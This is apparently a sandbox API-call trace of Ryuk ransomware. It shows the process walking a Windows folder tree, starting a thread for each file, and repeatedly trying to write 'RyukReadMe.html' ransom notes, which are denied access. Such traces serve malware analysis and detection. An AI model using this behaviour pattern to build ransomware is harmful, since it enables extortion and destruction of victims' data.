	[0126.500] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0126.503] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.504] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0126.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0126.507] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.507] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0126.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0126.510] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.511] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0126.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0126.513] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.514] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0126.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0126.516] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.517] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0126.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0126.520] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.521] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0126.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0126.525] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.525] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0126.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0126.946] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.947] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0126.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0126.950] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.951] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
	[0126.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0126.954] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.955] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0126.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0126.958] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.958] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0
	[0126.958] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0128.126] SetLastError (dwErrCode=0x0) 
	[0128.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.137] GetLastError () returned 0x5
	[0128.137] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.137] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x84, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0128.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0128.140] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.141] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1
	[0128.141] SetLastError (dwErrCode=0x0) 
	[0128.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.141] GetLastError () returned 0x5
	[0128.141] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0128.142] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0128.142] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0xa0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1
	[0128.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0128.145] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.145] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0xa0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0
	[0128.145] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0128.145] SetLastError (dwErrCode=0x0) 
	[0128.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.146] GetLastError () returned 0x5
	[0128.146] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.146] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x84, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1
	[0128.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
	[0128.150] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.150] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1
	[0128.150] SetLastError (dwErrCode=0x0) 
	[0128.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.151] GetLastError () returned 0x5
	[0128.151] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0128.154] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0128.154] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1
	[0128.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0128.157] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.158] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0
	[0128.158] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0128.158] SetLastError (dwErrCode=0x0) 
	[0128.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.159] GetLastError () returned 0x5
	[0128.159] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.159] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0128.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c
	[0128.493] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.494] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1
	[0128.494] SetLastError (dwErrCode=0x0) 
	[0128.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.719] GetLastError () returned 0x5
	[0128.719] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
